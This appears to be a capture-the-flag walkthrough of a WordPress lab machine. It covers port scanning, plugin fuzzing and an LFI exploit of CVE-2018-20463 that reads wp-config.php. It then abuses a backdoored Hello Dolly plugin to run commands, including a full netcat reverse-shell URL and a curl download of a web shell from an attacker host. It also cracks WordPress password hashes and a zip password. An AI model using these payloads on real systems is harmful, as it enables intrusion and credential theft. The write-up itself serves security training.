Port enumeration

First of all, I will scan the ports using nmap.

nmap -p- --open -vvv -n -Pn -sS --min-rate 5000 10.130.186.27 -oG AllPorts.txt

Here, I will find 2 open ports, 22 and 80.
a279e803339f1db3f7e4eb7a21c38e9a.png
In these ports, I can find an apache and a ssh services.

nmap -p22,80 -sCV 10.129.138.25

cd3d5ee31034ea31b78d8c52cb570461.png

Web Enumeration

This web looks like a blog.
a1422908e9d2d5d639f0cbca3e8ddca6.png
Using wappalizer, we can see who this page is a wordpress.
1b2371a536e5fd61aacc7eaf37170b6c.png
I can confirm looking the web footer.
35b67b4a08d30387bd2661d044a6a580.png
Knowing this, now, I search for wp-content/plugins/ page and confim his location.
d5409b09377eedb1b4b36cc7d50f7a7f.png
Now, Ill find for a wordlist with all the possible wordpress plugins.
4fe3cab058510054ff92cfb8d680baeb.png
And I will use ffuf to locate all the plugins who I can.

ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/wordpress_plugins.txt -u http://www.smol.thm/wp-content/plugins/FUZZ

Using this tool, I can confirm the existence of 2 plugins, akismet and jsmol2wp
5c01d41717459fa23c40134d6e73668c.png
Normaly, you can find a readme.txt file inside the plugins directory where you can find some info about the pluging, including version, changelog, etc.
715cbedc1be7db5cd4d6a8f9ef4623a3.png
With this, I can confirm that the version of the plugin jsmol2wp is 1.7
15f448e2c26bd5f7968790288ff67385.png
Who is vulnerable so SSRF Arbitrary file read
33b275700ececb06717935875ea4f206.png

Exploiting CVE-2018-20463

This vulnerability consist in a LFI vulnerablity located in wp-content/plugins/jsmol2wp/php/jsmol.php allowing you to read internal files.
Using this, I can read the config file.

http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php

6dfcd9ad408d5c761fad50afc4dbc2b2.png
/etc/passwd file
470a1b8799f644a0730346a84d5a8348.png
With the creds I found, now, I can log in wp-admin.
bdf12fd9fffd9634032d0dc557f2a7f8.png

Wordpress panel Enumeration

c4bea0891a1467bd9ce2bec349516bbc.png
In this panel, i can read a private page, where the speak abaut a strange plugin, Hello Dolly.
c1835a8d24cfe6dc0eb358d738546bb8.png
Knowing this, i decide to repeat again the plugin enumeration, but this time, using another wordlist, and I found something interesting.
f72c7ff1391bc98047f9193caeb4b932.png
Using the last vulnerability, I can read the plugin code.
febcbe674e6a83244098891dc81c3314.png

Hello.php code review

In this code, im able to found a strange bas64 who is executed by a eval.
e7f158ac53541f9577ffead4b16a9e36.png
And, after decrypt it, I can see who it is a get.
9a6b100a51296d98c955e486fbc95811.png
We also can see who this plugin gets active in admin_head.
c8ab068ace30da330beeeeadd928b525.png

RCE

Just changing the url adding the get in the last admin post, I can execute commands.
38b4a5ea25e1eb8a639a95dbb93aa392.png

http://www.smol.thm/wp-admin/post.php?post=58&action=edit&cmd=ls

So, using this, I execute a reverse shell.

/wp-admin/post.php?post=58&action=edit&cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2>%261|nc+192.168.138.103+9001+>/tmp/f

10cc5a2c3bb737d887ba1ec98c3d5c24.png
You can also write a shell in a txt file in a python server and load it to the server with the next.

http://www.smol.thm/wp-admin/post.php?post=58&action=edit&cmd=curl+http%3A%2F%2F192.168.138.103%3A8000%2Fshell.txt%3Eshell.php

Database enumeration

First thing Ill do is read the database with the credentials I found, and, in this database, I found a lot of users and their hashes, including 2 with local machine account.
b056b1e66dad4fb056f1fbd4b3d14b6b.png

Hash crashing

I prepared the hashes in a file to john.

admin:$P$BH.CF15fzRj4li7nR19CHzZhPmhKdX.
wpuser:$P$BfZjtJpXL9gBwzNjLMTnTvBVh2Z1/E.
think:$P$BOb8/koi4nrmSPW85f5KzM5M/k2n0d/
gege:$P$B1UHruCd/9bGD.TtVZULlxFrTsb3PX1
diego:$P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1
xavi:$P$BB4zz2JEnM2H3WE2RHs3q18.1pvcql1

And i used it to break the hashes.

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

After some time, john is able to break the user diego hash.
028946e51f6831a2d150a23e53f8ab43.png
With this password, I can log as diego.
c905d1c04bcd4cf13e5eece47b67aae0.png
And take the user flag.
0b63e434dd200ec1394eddc495b307f2.png

Horizontal movement

First thing I found is a backup file in gege home dir, but i cant read it.
c8bab8734e287afe06813666499fd6f8.png
This machine is vulnerable to DirtyPipe, but this is a old machine, so I will ignore it.
ecf4e36f23b53f85a20f0205368745d3.png
I also found a ssh hey in the think user dir.
ead2f4042fc2f3b5722b6d638a449b00.png
WIth this key, I can log as think.
efacf32aaa7e5875bdfb9636f3f12213.png
This user is part of the group dev.
48f984f18b486d43badd971c10f59e44.png
Now, I can change to user gege without password.
219cc50b0ad9c636ba7562d8f61c27f6.png

Privilege escalation

Now, I can read the backup, but i need a password to unzip it.
f3e1ad6ecb52dfc194ea401e01aec927.png
Now, i use zip2john to crack the hash.

zip2john wordpress.old.zip >> zip.hash
john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash

With this, I obtain a password.
88ba87ad51e47b8fc582589e90cb86f7.png
And now, I can unzip the file.
bc91cedb46ce7ef9868792eaa8f3568e.png
Here, in config.php, I found who, the db user, is xavi.
757ca33aa9dcc7be73f6671ddcaab4d5.png
With this credentials, I can log as xavi.
b6fe00736be9192c013084f15d8d9d26.png
And with sudo -l, I can see who xavi is a sudo user.
ba1643f7035fa93ffa846a5360d6014c.png
So, with sudo su, I log as root.
728185cd2fb683c79485210502fc248c.png